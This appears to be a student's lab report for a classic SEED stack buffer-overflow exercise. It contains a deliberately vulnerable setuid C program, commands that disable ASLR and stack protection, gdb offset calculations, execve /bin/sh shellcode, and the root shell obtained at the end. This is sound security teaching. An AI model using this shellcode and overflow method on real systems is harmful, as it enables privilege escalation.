Project 2 - Network Security

The Process

```
/* Vunlerable program: stack.c */
/* You can get this program from the lab's website */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
/* Changing this size will change the layout of the stack.
* Instructors can change this value each year, so students
 * won't be able to use the solutions from the past.
 * Suggested value: between 0 and 400 */
#ifndef BUF SIZE
#define BUF SIZE 140
#endif
int bof(char *str)
    char buffer[BUF_SIZE];
    /* The following statement has a buffer overflow problem
    strcpy(buffer, str);
    return 1;
}
int main(int argc, char **argv)
    char str[517];
    FILE *badfile;
     /* Change the size of the dummy array to randomize the p
       for this lab. Need to use the array at least once */
    char dummy[BUF_SIZE]; memset(dummy, 0, BUF_SIZE);
```

```
badfile = fopen("badfile", "r");
fread(str, sizeof(char), 517, badfile);
bof(str);
printf("Returned Properly\n");
return 1;
}
```

- A bad file has 517 bytes
- Read bad file to buffer[140], buffer overflows
- Attack Logic
 - Attach the malicious code at the very end of bad file
 - The beginning of bad file with overwrite buffer[0] to buffer[139]
 - Replace return address in stack frame with a piece of data in bad file,
 where this data is a new address pointing to the start of malicious code
- Attacker needs to know:
 - A malicious shell code (given to us)
 - What is return address?
 - Where is return address stored?
 - Where is the top of stack?
- How to attack in Linux?

▼ Step 1: Disable address randomization

```
$ sudo sysctl -w kernel.randomize_va_space=0
```

▼ Step 2: Compile stack.c

```
$ gcc -o stack -z execstack -fno-stack-protector stack.
$ sudo chown root stack
$ sudo chmod 4755 stack
```

▼ Step 3: Run debug tool gdb

```
$ gcc -z execstack -fno-stack-protector -g -o stack_dbg
stack.c
$ gdb stack_dbg
touch badfile
```

```
root@VM:/home/seed/Desktop/buffer_m13272240/src# gcc -z execstack -fno-stack-protector -g -o stack_dbg stack.c
root@VM:/home/seed/Desktop/buffer_m13272240/src# touch badfile
root@VM:/home/seed/Desktop/buffer_m13272240/src# gdb stack_dbg
GNU gdb (Ubuntu 7.11.1-0ubuntul~16.04) 7.11.1
Copyright (C) 2016 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <a href="http://gnu.org/licenses/gpl.html">http://gnu.org/licenses/gpl.html</a>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "i686-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<a href="http://www.gnu.org/software/gdb/bugs/">http://www.gnu.org/software/gdb/bugs/</a>.
Find the GDB manual and other documentation resources online at:
<a href="http://www.gnu.org/software/gdb/documentation/">http://www.gnu.org/software/gdb/documentation/</a>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from stack dbg...done.
```

▼ Step 6: Set a break point using gdb

```
(gdb) b bof
(gdb) run
```

▼ Step 7: Learn the addresses

```
// p command prints the address of ebp
(gdb) p $ebp
$1 = (void *) 0xbfffe9e8

// prints the address of start of buffer
// (i.e., buffer[0] or the address of top of stack)
(gdb) p &buffer
$2 = (char (*)[140]) 0xbfffe954

// calculate the difference between two addresses
(gdb) p/d 0xbfffe9e8 - 0xbfffe954

$3 = 148

// d = 148 is the gap/distance between top of stack and
// Address of top of stack: ebp - 148
```

(gdb) quit

```
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from stack dbg...done.
(gdb) b bof
Breakpoint 1 at 0x80484f4: file stack.c, line 21.
(gdb) run
Starting program: /home/seed/Desktop/buffer_m13272240/src/stack_dbg
[Thread debugging using libthread db enabled]
Using host libthread db library "/lib/i386-linux-gnu/libthread_db.so.1".
Breakpoint 1, bof (str=0xbfffea97 "\bB\003") at stack.c:21
             strcpy(buffer, str);
(gdb) p $ebp
$1 = (void *) 0xbfffe9e8
(gdb) p &buffer
$2 = (char (*)[140]) 0xbfffe954
(gdb) p/d 0xbfffe9e8 - 0xbfffe954
$3 = 148
(gdb) quit
A debugging session is active.
```

```
#!/usr/bin/python3
import sys
shellcode = (
    "\x31\xc0" # xorl
                          %eax, %eax
    "\x50"
           # pushl
                      %eax
    "\x68"
    "//sh"
           # pushl
                      $0x68732f2f
    "\x68"
    "/bin" # pushl
                      $0x6e69622f
    "\x89\xe3" # movl
                          %esp,%ebx
    "\x50"
           # pushl
                      %eax
    "\x53"
           # pushl
                      %ebx
    "\x89\xe1" # movl
                          %esp,%ecx
    "\x99" # cdq
    "\xb0\x0b" # movb
                          $0x0b,%al
    "\xcd\x80" # int
                          $0x80
).encode("latin-1")
```

root@VM:/home/seed/Desktop/buffer m13272240/src# python3 exploit.py

- Attacker needs to know:
 - A malicious shell code (given to us)
 - What is return address? (??)
 - Where is return address stored? (ebp + 4)
 - Where is the top of stack? (ebp 148)
- The distance between top of stack (start of buffer) and where the return address is stored is
 - (ebp + 4) (ebp 148) = 152
 - Badfile starts from content[0] (as given in slides)
 - Attacker fills content[152:156] with the return address x (an address takes 4 bytes, 152+4=156)

- What is return address? (??)
 - the content (i.e. badfile) has 517 bytes
 - If the shell code takes y bytes, content[517-y] is start of shell code in badfile (i.e., x is address of content[517-y])
 - content[0] starts at (ebp-148)
 - \circ x = ebp 148 + 517 y = ebp + 369 len(shellcode)
 - attacker fills content[152:156] with x

```
root@VM:/home/seed/Desktop/buffer_m13272240/src# gcc -o stack -z execstack -fno-stack-protector s
tack.c
root@VM:/home/seed/Desktop/buffer_m13272240/src# sudo chown root stack
root@VM:/home/seed/Desktop/buffer_m13272240/src# sudo chmod 4755 stack
root@VM:/home/seed/Desktop/buffer_m13272240/src# ./stack
# q
```

The Results

How do you perform the attack in your VM:

We disabled address randomization, compiled the vulnerable program with specific flags, used

gdb to analyze memory layout, set breakpoints, and injected a malicious payload via a badfile.

How do you find the value of ebp:

Using

gdb , we executed p sebp to retrieve the value stored in the ebp register, providing the base address of the stack frame.

How do you decide the content of badfile:

The badfile contained NOP instructions and a malicious shellcode. We calculated and inserted the appropriate return address to redirect execution to the shellcode.

• Whether your attack is successful:

Yes, our attack successfully exploited the buffer overflow vulnerability, executing the injected shellcode and demonstrating the risk posed by such vulnerabilities.

Quick Run/Test

• Run the following commands to perform a quick attack (or test the code):

```
cd ./buffer_m13300600/src
./attack.sh
```

 Reset the environment by deleting generated files like badfile and stack to demonstrate the attack again

./reset.sh